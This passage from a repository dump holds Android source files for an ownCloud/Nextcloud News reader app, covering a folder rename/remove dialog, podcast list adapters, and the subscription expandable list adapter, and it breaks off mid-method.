io.reactivex.rxjava3.core.Observable;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\n\npublic class FolderOptionsDialogFragment extends DialogFragment {\n\n    protected @Inject ApiProvider mApi;\n\n    private long mFolderId;\n    private String mDialogTitle;\n\n    private LinkedHashMap<String, MenuAction> mMenuItems;\n    private NewsReaderListActivity parentActivity;\n\n    protected FragmentDialogFolderoptionsBinding binding;\n\n\n    static FolderOptionsDialogFragment newInstance(long folderId, String dialogTitle) {\n        FolderOptionsDialogFragment f = new FolderOptionsDialogFragment();\n\n        Bundle args = new Bundle();\n        args.putLong(\"folderid\", folderId);\n        args.putString(\"title\", dialogTitle);\n\n        f.setArguments(args);\n        return f;\n    }\n\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n\n        final Bundle args = requireArguments();\n        mFolderId = args.getLong(\"folderid\");\n        mDialogTitle = args.getString(\"title\");\n        mMenuItems = new LinkedHashMap<>();\n\n        mMenuItems.put(getString(R.string.action_folder_rename), () -> showRenameFolderView(mFolderId, mDialogTitle));\n\n        mMenuItems.put(getString(R.string.action_folder_remove), () -> showRemoveFolderView(mFolderId));\n\n        setStyle(DialogFragment.STYLE_NO_TITLE, R.style.FloatingDialog);\n    }\n\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n\n        binding = FragmentDialogFolderoptionsBinding.inflate(inflater, container, false);\n\n        binding.tvMenuTitle.setText(mDialogTitle);\n\n        List<String> menuItemsList = new ArrayList<>(mMenuItems.keySet());\n\n        final ArrayAdapter<String> arrayAdapter = new ArrayAdapter<>(\n                getActivity(),\n                R.layout.fragment_dialog_listviewitem,\n                menuItemsList);\n\n        binding.lvMenuList.setAdapter(arrayAdapter);\n\n        binding.lvMenuList.setOnItemClickListener((adapterView, view, i, l) -> {\n            String key = arrayAdapter.getItem(i);\n            MenuAction mAction = mMenuItems.get(key);\n            mAction.execute();\n        });\n        return binding.getRoot();\n    }\n\n\n    public void setActivity(Activity parentActivity) {\n        this.parentActivity =  (NewsReaderListActivity)parentActivity;\n    }\n\n\n    public void showProgress(final boolean show) {\n        int shortAnimTime = getResources().getInteger(android.R.integer.config_shortAnimTime);\n\n        binding.renameFolderDialog.setVisibility(show ? View.GONE : View.VISIBLE);\n        binding.removeFolderDialog.setVisibility(show ? View.GONE : View.VISIBLE);\n\n        binding.progressView.setVisibility(show ? View.VISIBLE : View.GONE);\n        binding.progressView.animate().setDuration(shortAnimTime).alpha(\n                show ? 1 : 0).setListener(new AnimatorListenerAdapter() {\n        });\n    }\n\n\n    private void showRenameFolderView(final long folderId, final String folderName) {\n        binding.renamefolderFoldername.setText(folderName);\n        binding.buttonRenameConfirm.setEnabled(false);\n\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.renameFolderDialog.setVisibility(View.VISIBLE);\n\n        binding.renamefolderFoldername.addTextChangedListener(new TextWatcher() {\n            @Override\n            public void afterTextChanged(Editable s) {}\n\n            @Override\n            public void beforeTextChanged(CharSequence s, int start, int count, int after) {}\n\n            @Override\n            public void onTextChanged(CharSequence s, int start, int before, int count) {\n                binding.buttonRenameConfirm.setEnabled(\n                        !s.toString().equals(folderName) && s.length() != 0);\n            }\n        });\n\n        binding.buttonRenameCancel.setOnClickListener(v -> dismiss());\n\n        binding.buttonRenameConfirm.setOnClickListener(v -> {\n            showProgress(true);\n            setCancelable(false);\n            getDialog().setCanceledOnTouchOutside(false);\n\n\n            Map<String, String> paramMap = new LinkedHashMap<>();\n            paramMap.put(\"name\", binding.renamefolderFoldername.getText().toString());\n            mApi.getNewsAPI().renameFolder(folderId, paramMap)\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(() -> {\n                        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n                        dbConn.renameFolderById(folderId, binding.renamefolderFoldername.getText().toString());\n\n                        parentActivity.getSlidingListFragment().reloadAdapter();\n                        parentActivity.startSync();\n                        dismiss();\n                    }, throwable -> {\n                        Context context = getContext();\n                        if (context == null) {\n                            return;\n                        }\n                        Toast.makeText(context.getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                        dismiss();\n                    });\n        });\n    }\n\n\n    private void showRemoveFolderView(final long folderId) {\n        binding.lvMenuList.setVisibility(View.GONE);\n        binding.removeFolderDialog.setVisibility(View.VISIBLE);\n\n        binding.buttonRemoveCancel.setOnClickListener(v -> dismiss());\n\n        binding.buttonRemoveConfirm.setOnClickListener(v -> {\n            showProgress(true);\n            setCancelable(false);\n            getDialog().setCanceledOnTouchOutside(false);\n\n            NewsAPI newsApi = mApi.getNewsAPI();\n            Observable<Feed> deleteFeedsTask = newsApi.feeds()\n                    .subscribeOn(Schedulers.newThread())\n                    .flatMap(feedList -> Observable.fromIterable(feedList)\n                            .filter(feed -> folderId == feed.getFolderId())\n                    )\n                    .flatMap(feed -> newsApi.deleteFeed(feed.getId())\n                            .andThen(Observable.just(feed))\n                    )\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .doOnNext(feed -> {\n                        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n                        dbConn.removeFeedById(feed.getId());\n\n                        Long currentFeedId = parentActivity.getNewsReaderDetailFragment().getIdFeed();\n                        if(currentFeedId != null && currentFeedId == feed.getId()) {\n                            parentActivity.switchToAllUnreadItemsFolder();\n                        }\n                    });\n            Completable.fromObservable(deleteFeedsTask)\n                    .observeOn(Schedulers.newThread())\n                    .andThen(newsApi.deleteFolder(folderId))\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(() -> {\n                        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n                        dbConn.removeFolderById(folderId);\n\n                        Long currentFolderId = parentActivity.getNewsReaderDetailFragment().getIdFolder();\n                        if(currentFolderId != null && currentFolderId == folderId) {\n                            parentActivity.switchToAllUnreadItemsFolder();\n                        }\n                        parentActivity.getSlidingListFragment().reloadAdapter();\n                        parentActivity.startSync();\n                        dismiss();\n                    }, throwable -> {\n                        Context context = getContext();\n                        if (context == null) {\n                            return;\n                        }\n                        Toast.makeText(context.getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                        dismiss();\n                    });\n        });\n    }\n\n    interface MenuAction {\n        void execute();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/LazyLoadingLinearLayoutManager.kt",
    "content": "package de.luhmer.owncloudnewsreader\n\nimport android.content.Context\nimport androidx.recyclerview.widget.LinearLayoutManager\nimport androidx.recyclerview.widget.RecyclerView\nimport kotlin.math.roundToInt\n\nclass LazyLoadingLinearLayoutManager(\n    context: Context?,\n    @RecyclerView.Orientation orientation: Int,\n    reverseLayout: Boolean,\n) : LinearLayoutManager(context, orientation, reverseLayout) {\n    var totalItemCount: Int = 0\n\n    override fun computeVerticalScrollRange(state: RecyclerView.State): Int {\n        if (state.itemCount == 0) {\n            return 0\n        }\n\n        return (\n            super.computeVerticalScrollRange(\n                state,\n            ) / state.itemCount.toFloat() * totalItemCount\n        ).roundToInt()\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ListView/BlockingExpandableListView.java",
    "content": "package de.luhmer.owncloudnewsreader.ListView;\n\nimport android.content.Context;\nimport android.util.AttributeSet;\nimport android.widget.ExpandableListView;\n\npublic class BlockingExpandableListView extends ExpandableListView {\n\n    private boolean mBlockLayoutChildren;\n\n    public BlockingExpandableListView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n \n    public void setBlockLayoutChildren(boolean block) {\n        mBlockLayoutChildren = block;\n    }\n \n    @Override\n    protected void layoutChildren() {\n        if (!mBlockLayoutChildren) {\n            super.layoutChildren();\n        }\n    }    \n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ListView/PodcastArrayAdapter.java",
    "content": "package de.luhmer.owncloudnewsreader.ListView;\n\nimport android.annotation.SuppressLint;\nimport android.content.Context;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ArrayAdapter;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.databinding.PodcastRowBinding;\nimport de.luhmer.owncloudnewsreader.events.podcast.StartDownloadPodcast;\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\n\npublic class PodcastArrayAdapter extends ArrayAdapter<PodcastItem> {\n\n    private final LayoutInflater inflater;\n    private final EventBus eventBus;\n\n    public PodcastArrayAdapter(Context context, PodcastItem[] values) {\n        super(context, R.layout.podcast_row, values);\n        inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n        eventBus = EventBus.getDefault();\n    }\n\n    @SuppressLint(\"SetTextI18n\")\n    @Override\n    public View getView(final int position, View view, ViewGroup parent) {\n        final ViewHolder holder;\n        if (view != null) {\n            holder = (ViewHolder) view.getTag();\n        } else {\n            PodcastRowBinding binding = PodcastRowBinding.inflate(inflater, parent, false);\n            view = binding.getRoot();\n            holder = new ViewHolder(binding);\n            view.setTag(holder);\n        }\n\n        final PodcastItem podcastItem = getItem(position);\n\n        holder.binding.tvTitle.setText(podcastItem.title);\n        holder.binding.tvBody.setText(podcastItem.mimeType);\n\n\n        holder.binding.flDownloadPodcastWrapper.setOnClickListener(view1 -> {\n            holder.binding.flDownloadPodcastWrapper.setVisibility(View.GONE);\n\n            Toast.makeText(getContext(), \"Starting download.. Please wait\", Toast.LENGTH_SHORT).show();\n\n            eventBus.post(new StartDownloadPodcast(podcastItem));\n        });\n\n        holder.binding.flDeletePodcastWrapper.setOnClickListener(view13 -> {\n            if(NewsFileUtils.deletePodcastFile(getContext(), podcastItem.fingerprint, podcastItem.link)) {\n                podcastItem.offlineCached = false;\n                podcastItem.downloadProgress = PodcastItem.DOWNLOAD_NOT_STARTED;\n                notifyDataSetChanged();\n            }\n        });\n\n\n        holder.binding.pbDownloadPodcast.setProgress(podcastItem.downloadProgress);\n        if(podcastItem.downloadProgress >= 0) {\n            holder.binding.tvDownloadPodcastProgress.setVisibility(View.VISIBLE);\n            holder.binding.pbDownloadPodcast.setVisibility(View.VISIBLE);\n            holder.binding.tvDownloadPodcastProgress.setText(podcastItem.downloadProgress + \"%\");\n        }\n        else {\n            holder.binding.tvDownloadPodcastProgress.setVisibility(View.GONE);\n            holder.binding.pbDownloadPodcast.setVisibility(View.GONE);\n        }\n\n\n        if(podcastItem.downloadProgress.equals(PodcastItem.DOWNLOAD_NOT_STARTED)) {\n            holder.binding.flDownloadPodcastWrapper.setVisibility(View.VISIBLE);\n        } else {\n            holder.binding.flDownloadPodcastWrapper.setVisibility(View.GONE);\n        }\n\n        holder.binding.flDeletePodcastWrapper.setVisibility((podcastItem.downloadProgress.equals(PodcastItem.DOWNLOAD_COMPLETED)) ? View.VISIBLE : View.GONE );\n\n        /*\n        File podcastFile = new File(PodcastDownloadService.getUrlToPodcastFile(getContext(), podcastItem.link, true));\n        File podcastFileCache = new File(PodcastDownloadService.getUrlToPodcastFile(getContext(), podcastItem.link, true) + \".download\");\n        if(podcastFile.exists()) {\n            holder.flDownloadPodcast.setVisibility(View.GONE);\n        }\n        else if(podcastFileCache.exists()) {\n            holder.flDownloadPodcast.setVisibility(View.GONE);\n        }\n        else\n            holder.flDownloadPodcast.setVisibility(View.VISIBLE);\n        */\n\n        return view;\n    }\n\n\n    private void playPodcast() {\n    }\n\n\n\n    static class ViewHolder {\n        @NonNull final PodcastRowBinding binding;\n\n        public ViewHolder(@NonNull PodcastRowBinding binding) {\n            this.binding = binding;\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ListView/PodcastFeedArrayAdapter.java",
    "content": "package de.luhmer.owncloudnewsreader.ListView;\n\nimport android.content.Context;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ArrayAdapter;\nimport android.widget.TextView;\n\nimport androidx.annotation.NonNull;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.databinding.PodcastFeedRowBinding;\nimport de.luhmer.owncloudnewsreader.events.podcast.PodcastFeedClicked;\nimport de.luhmer.owncloudnewsreader.model.PodcastFeedItem;\n\npublic class PodcastFeedArrayAdapter extends ArrayAdapter<PodcastFeedItem> {\n\n    private final LayoutInflater inflater;\n    private final EventBus eventBus;\n\n    public PodcastFeedArrayAdapter(Context context, PodcastFeedItem[] values) {\n        super(context, R.layout.podcast_feed_row, values);\n        inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n        eventBus = EventBus.getDefault();\n    }\n\n    @Override\n    public View getView(final int position, View view, ViewGroup parent) {\n        ViewHolder holder;\n        if (view != null) {\n            holder = (ViewHolder) view.getTag();\n        } else {\n            PodcastFeedRowBinding binding = PodcastFeedRowBinding.inflate(inflater, parent, false);\n            view = binding.getRoot();\n            holder = new ViewHolder(binding);\n            binding.getRoot().setTag(holder);\n        }\n\n        final PodcastFeedItem feedItem = getItem(position);\n\n        holder.binding.tvTitle.setText(feedItem.mFeed.getFeedTitle());\n        holder.binding.tvBody.setText(feedItem.mPodcastCount + \" Podcasts available\");\n\n        view.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                PodcastFeedClicked podcastFeedClicked = new PodcastFeedClicked(position);\n                eventBus.post(podcastFeedClicked);\n            }\n        });\n\n        return view;\n    }\n\n\n    static class ViewHolder {\n        @NonNull final PodcastFeedRowBinding binding;\n\n        public ViewHolder(@NonNull PodcastFeedRowBinding binding) {\n            this.binding = binding;\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ListView/SubscriptionExpandableListAdapter.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.ListView;\n\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_DOWNLOADED_PODCASTS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_STARRED_ITEMS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ITEMS_WITHOUT_FOLDER;\n\nimport android.annotation.SuppressLint;\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.os.AsyncTask;\nimport android.util.Log;\nimport android.util.SparseArray;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.BaseExpandableListAdapter;\nimport android.widget.ExpandableListView;\nimport android.widget.LinearLayout;\nimport android.widget.ListView;\n\nimport androidx.annotation.NonNull;\nimport androidx.core.view.ViewCompat;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionListItemBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionListSubItemBinding;\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler;\nimport de.luhmer.owncloudnewsreader.helper.StopWatch;\nimport de.luhmer.owncloudnewsreader.interfaces.ExpListTextClicked;\nimport de.luhmer.owncloudnewsreader.model.AbstractItem;\nimport de.luhmer.owncloudnewsreader.model.ConcreteFeedItem;\nimport de.luhmer.owncloudnewsreader.model.FolderSubscribtionItem;\nimport de.luhmer.owncloudnewsreader.model.Tuple;\n\npublic class SubscriptionExpandableListAdapter extends BaseExpandableListAdapter {\n    private final String TAG = getClass().getCanonicalName();\n\n    private final Context mContext;\n    private final DatabaseConnectionOrm dbConn;\n\n    private final ListView listView;\n\n    private ExpListTextClicked eListTextClickHandler;\n\n    private final FavIconHandler favIconHandler;\n\n    private ArrayList<AbstractItem> mCategoriesArrayList;\n    private SparseArray<ArrayList<ConcreteFeedItem>> mItemsArrayList;\n    private boolean showOnlyUnread = false;\n\n    private SparseArray<String> starredCountFeeds;\n    private int downloadedPodcastsCount;\n    private SparseArray<String> unreadCountFolders;\n    private SparseArray<String> unreadCountFeeds;\n\n    private final SharedPreferences mPrefs;\n\n    public enum SPECIAL_FOLDERS  {\n        ALL_UNREAD_ITEMS(-10), ALL_STARRED_ITEMS(-11), ALL_ITEMS(-12), ALL_DOWNLOADED_PODCASTS(-13), ITEMS_WITHOUT_FOLDER(-22);\n\n        private final int id;\n        SPECIAL_FOLDERS(int id) {\n            this.id = id;\n        }\n\n        public int getValue() {\n            return id;\n        }\n\n\n        public String getValueString() {\n            return String.valueOf(id);\n        }\n\n        @Override\n        public String toString() {\n            return getValueString();\n        }\n    }\n\n    public SubscriptionExpandableListAdapter(Context mContext, DatabaseConnectionOrm dbConn, ListView listView, SharedPreferences prefs) {\n        this.favIconHandler = new FavIconHandler(mContext);\n        this.mPrefs = prefs;\n\n    \tthis.mContext = mContext;\n    \tthis.dbConn = dbConn;\n\n        unreadCountFeeds = new SparseArray<>();\n        unreadCountFolders = new SparseArray<>();\n        starredCountFeeds = new SparseArray<>();\n        downloadedPodcastsCount = 0;\n\n        mCategoriesArrayList = new ArrayList<>();\n        mItemsArrayList = new SparseArray<>();\n\n        this.listView = listView;\n    }\n\n\t@Override\n\tpublic Object getChild(int groupPosition, int childPosition) {\n\t\tint parent_id = (int)getGroupId(groupPosition);\n        return mItemsArrayList.get(parent_id).get(childPosition);\n\t}\n\n\t@Override\n\tpublic long getChildId(int groupPosition, int childPosition) {\n\t\treturn ((ConcreteFeedItem)(getChild(groupPosition, childPosition))).id_database;\n\t}\n\n\t@Override\n\tpublic View getChildView(int groupPosition, int childPosition,\n\t\t\tboolean isLastChild, View convertView, ViewGroup parent) {\n\t\tfinal ConcreteFeedItem item = (ConcreteFeedItem)getChild(groupPosition, childPosition);\n        final ChildHolder viewHolder;\n\n        if (convertView != null) {\n            viewHolder = (ChildHolder) convertView.getTag();\n        } else {\n            LinearLayout view = new LinearLayout(mContext);\n            SubscriptionListSubItemBinding binding = SubscriptionListSubItemBinding.inflate(LayoutInflater.from(mContext), view, true);\n            convertView = binding.getRoot();\n            viewHolder = new ChildHolder(binding);\n            convertView.setTag(viewHolder);\n        }\n\n\n        if (item != null) {\n            String headerText = (item.header != null) ? item.header : \"\";\n            viewHolder.binding.summary.setText(headerText);\n\n            String unreadCount;\n            if (item.idFolder == ALL_STARRED_ITEMS.getValue()) {\n                unreadCount = starredCountFeeds.get((int) item.id_database);\n            } else {\n                unreadCount = unreadCountFeeds.get((int) item.id_database);\n            }\n\n            viewHolder.binding.tvUnreadCount.setText(unreadCount != null ? unreadCount : \"\");\n\n            favIconHandler.loadFavIconForFeed(item.favIcon, viewHolder.binding.iVFavicon);\n        } else {\n            viewHolder.binding.summary.setText(mContext.getString(R.string.login_dialog_text_something_went_wrong));\n            viewHolder.binding.tvUnreadCount.setText(\"\");\n            viewHolder.binding.iVFavicon.setImageDrawable(null);\n        }\n\n        return convertView;\n\t}\n\n\tstatic class ChildHolder {\n        @NonNull final SubscriptionListSubItemBinding binding;\n\n        public ChildHolder(@NonNull SubscriptionListSubItemBinding binding) {\n            this.binding = binding;\n        }\n\t  }\n\n\t@Override\n\tpublic int getChildrenCount(int groupPosition) {\n        int parent_id = (int)getGroupId(groupPosition);\n        return (mItemsArrayList.get(parent_id) != null) ? mItemsArrayList.get(parent_id).size() : 0;\n\t}\n\n\t@Override\n\tpublic Object getGroup(int groupPosition) {\n\t\treturn mCategoriesArrayList.get(groupPosition);\n\t}\n\n\t@Override\n\tpublic int getGroupCount() {\n\t\treturn mCategoriesArrayList.size();\n\t}\n\n\t@Override\n\tpublic long getGroupId(int groupPosition) {\n\t\treturn ((AbstractItem)getGroup(groupPosition)).id_database;\n\t}\n\n    private enum GroupViewType { FOLDER, FEED }\n\n    @Override\n    public int getGroupType(int groupPosition) {\n        AbstractItem ai = mCategoriesArrayList.get(groupPosition);\n\n        if(ai instanceof FolderSubscribtionItem)\n            return GroupViewType.FOLDER.ordinal();\n        else\n            return GroupViewType.FEED.ordinal();\n    }\n\n    @Override\n    public int getGroupTypeCount() {\n        return GroupViewType.values().length;\n    }\n\n\t@Override\n\tpublic View getGroupView(final int groupPosition, final boolean isExpanded, View convertView, ViewGroup parent) {\n\n        GroupHolder viewHolder;\n        final AbstractItem group = (AbstractItem) getGroup(groupPosition);\n\n        if (convertView == null) {\n            SubscriptionListItemBinding binding = SubscriptionListItemBinding.inflate(LayoutInflater.from(mContext), new LinearLayout(mContext), true);\n            viewHolder = new GroupHolder(binding);\n            convertView = binding.getRoot();\n            binding.getRoot().setTag(viewHolder);\n        } else {\n        \tviewHolder = (GroupHolder) convertView.getTag();\n        }\n\n        viewHolder.binding.summary.setText(group.header);\n        viewHolder.binding.listItemLayout.setOnClickListener(v -> {\n\n            long idFeed = group.id_database;\n            boolean skipFireEvent = false;\n\n            if (group instanceof ConcreteFeedItem) {\n                fireListTextClicked(idFeed, false, (long) ITEMS_WITHOUT_FOLDER.getValue());\n                skipFireEvent = true;\n            }\n\n            if (!skipFireEvent)\n                fireListTextClicked(idFeed, true, group.idFolder);\n        });\n\n        viewHolder.binding.listItemLayout.setOnLongClickListener(v -> {\n\n            long idFeed = group.id_database;\n\n            if (group instanceof ConcreteFeedItem) {\n                fireListTextLongClicked(idFeed, false, (long) ITEMS_WITHOUT_FOLDER.getValue());\n            } else {\n                fireListTextLongClicked(idFeed, true, group.idFolder);\n            }\n            return true; //consume event\n        });\n\n\n        viewHolder.binding.tVFeedsCount.setText(\"\");\n        boolean skipGetUnread = false;\n        if(group.idFolder != null && group.idFolder == ITEMS_WITHOUT_FOLDER.getValue()) {\n            String unreadCount = unreadCountFeeds.get((int) group.id_database);\n            if(unreadCount != null) {\n                viewHolder.binding.tVFeedsCount.setText(unreadCount);\n            }\n\n            skipGetUnread = true;\n        }\n\n        if (!skipGetUnread) {\n            String unreadCount = unreadCountFolders.get((int) group.id_database);\n            if (unreadCount != null) {\n                viewHolder.binding.tVFeedsCount.setText(unreadCount);\n            }\n        }\n\n        if (group.id_database == ALL_DOWNLOADED_PODCASTS.getValue()) {\n            viewHolder.binding.tVFeedsCount.setText(String.valueOf(downloadedPodcastsCount));\n        }\n\n\n        int rotation = 0;\n        int contentDescriptionId = R.string.content_desc_none;\n\n\n        if (group.idFolder != null) {\n            viewHolder.binding.imgViewExpandableIndicator.setVisibility(View.GONE);\n            if (group.idFolder == ITEMS_WITHOUT_FOLDER.getValue())\n\t        {\n                ConcreteFeedItem concreteFeedItem = ((ConcreteFeedItem) group);\n                favIconHandler.loadFavIconForFeed(concreteFeedItem.favIcon, viewHolder.binding.imgViewFavicon);\n\t        }\n        } else {\n        \tif(group.id_database == ALL_STARRED_ITEMS.getValue()) {\n                viewHolder.binding.imgViewExpandableIndicator.setVisibility(View.GONE);\n                viewHolder.binding.imgViewFavicon.setVisibility(View.VISIBLE);\n                rotation = 0;\n                viewHolder.binding.imgViewFavicon.setImageResource(R.drawable.ic_star_border_24dp_theme_aware);\n            } else if(group.id_database == ALL_DOWNLOADED_PODCASTS.getValue()) {\n                viewHolder.binding.imgViewExpandableIndicator.setVisibility(View.GONE);\n                viewHolder.binding.imgViewFavicon.setVisibility(View.VISIBLE);\n                viewHolder.binding.imgViewFavicon.setImageResource(R.drawable.ic_baseline_play_arrow_24_theme_aware);\n        \t} else if (getChildrenCount( groupPosition ) == 0 ) {\n\t        \tviewHolder.binding.imgViewExpandableIndicator.setVisibility(View.GONE);\n                viewHolder.binding.imgViewFavicon.setVisibility(View.INVISIBLE);\n\t        } else {\n\t        \tviewHolder.binding.imgViewExpandableIndicator.setVisibility(View.VISIBLE);\n                viewHolder.binding.imgViewFavicon.setVisibility(View.INVISIBLE);\n                viewHolder.binding.imgViewExpandableIndicator.setImageResource(R.drawable.ic_action_expand_less_24);\n\n\t        \tif(isExpanded) {\n                    rotation = 180;\n                    contentDescriptionId = R.string.content_desc_collapse;\n\t        \t} else {\n                    if (ViewCompat.getLayoutDirection(listView) == ViewCompat.LAYOUT_DIRECTION_RTL) {\n                        rotation = -90; // mirror for rtl layout\n                    } else {\n                        rotation = 90;\n                    }\n                    contentDescriptionId = R.string.content_desc_expand;\n                }\n        \n                viewHolder.binding.imgViewExpandableIndicator.setOnClickListener(v -> {\n                    if(isExpanded)\n                        ((ExpandableListView)listView).collapseGroup(groupPosition);\n                    else\n                        ((ExpandableListView)listView).expandGroup(groupPosition);\n                });\n            }\n        }\n\n        viewHolder.binding.imgViewExpandableIndicator.setRotation(rotation);\n        viewHolder.binding.imgViewExpandableIndicator.setContentDescription(viewHolder.binding.imgViewExpandableIndicator.getContext().getString(contentDescriptionId));\n\n        return convertView;\n    }\n\n\n    static class GroupHolder {\n        @NonNull final SubscriptionListItemBinding binding;\n\n        public GroupHolder(@NonNull SubscriptionListItemBinding binding) {\n            this.binding = binding;\n        }\n    }\n\n\n    @Override\n    public boolean hasStableIds() {\n\t\treturn false;\n\t}\n\n    @Override\n    public boolean isChildSelectable(int groupPosition, int childPosition) {\n\t\treturn true;\n\t}\n\n    public void notifyDataSetChangedAsync() {\n        new NotifyDataSetChangedAsyncTask().execute((Void) null);\n    }\n\n    /**\n     * Reload categories and items from the database\n     */\n    public Tuple<ArrayList<AbstractItem>, SparseArray<ArrayList<ConcreteFeedItem>>> loadCategoriesAndItemsFromDatabase() {\n        showOnlyUnread = mPrefs.getBoolean(SettingsActivity.CB_SHOWONLYUNREAD_STRING, false);\n\n        ArrayList<AbstractItem> mCategories = new ArrayList<>();\n        mCategories.add(new FolderSubscribtionItem(mContext.getString(R.string.allUnreadFeeds), null, ALL_UNREAD_ITEMS.getValue()));\n        mCategories.add(new FolderSubscribtionItem(mContext.getString(R.string.starredFeeds), null, ALL_STARRED_ITEMS.getValue()));\n        mCategories.add(new FolderSubscribtionItem(mContext.getString(R.string.downloadedPodcasts), null, ALL_DOWNLOADED_PODCASTS.getValue()));\n\n        StopWatch sw = new StopWatch();\n        sw.start();\n\n        List<Folder> folderList = dbConn.getListOfFolders();\n\n        sw.stop();\n        Log.v(TAG, \"Time needed (fetch folder list): \" + sw);\n\n\n        for (Folder folder : folderList) {\n            mCategories.add(new FolderSubscribtionItem(folder.getLabel(), null, folder.getId()));\n        }\n\n        for (Feed feed : dbConn.getListOfFeedsWithoutFolders(showOnlyUnread)) {\n            mCategories.add(new ConcreteFeedItem(feed.getFeedTitle(), (long) ITEMS_WITHOUT_FOLDER.getValue(), feed.getId(), feed.getFaviconUrl(), feed.getId()));\n        }\n\n        SparseArray<ArrayList<ConcreteFeedItem>> mItems = new SparseArray<>();\n\n        for (int groupPosition = 0; groupPosition < mCategories.size(); groupPosition++) {\n            //int parent_id = (int)getGroupId(groupPosition);\n            int parent_id = (int) mCategories.get(groupPosition).id_database;\n            mItems.append(parent_id, new ArrayList<>());\n\n            List<Feed> feedItemList = null;\n\n            if (parent_id == ALL_UNREAD_ITEMS.getValue()) {\n                feedItemList = dbConn.getAllFeedsWithUnreadRssItems();\n            } else if (parent_id == ALL_STARRED_ITEMS.getValue()) {\n                feedItemList = dbConn.getAllFeedsWithStarredRssItems();\n            } else if (parent_id == ALL_DOWNLOADED_PODCASTS.getValue()) {\n                feedItemList = dbConn.getAllFeedsWithDownloadedPodcasts(mContext);\n            } else {\n                for (Folder folder : folderList) {//Find the current selected folder\n                    if (folder.getId() == parent_id) {//Current item\n                        feedItemList = dbConn.getAllFeedsWithUnreadRssItemsForFolder(folder.getId());\n                        break;\n                    }\n                }\n            }\n\n            if(feedItemList != null) {\n                for (Feed feed : feedItemList) {\n                    ConcreteFeedItem newItem = new ConcreteFeedItem(feed.getFeedTitle(), (long) parent_id, feed.getId(), feed.getFaviconUrl(), feed.getId());\n                    mItems.get(parent_id).add(newItem);\n                }\n            }\n        }\n\n        return new Tuple<>(mCategories, mItems);\n    }\n\n    public void ReloadAdapterAsync() {\n        new ReloadAdapterAsyncTask().execute((Void) null);\n    }\n\n    @SuppressLint(\"NewApi\") // wrongly reports setSelectionFromTop is only available in lollipop\n    public void notifyCountDataSetChanged(SparseArray<String> unreadCountFolders, 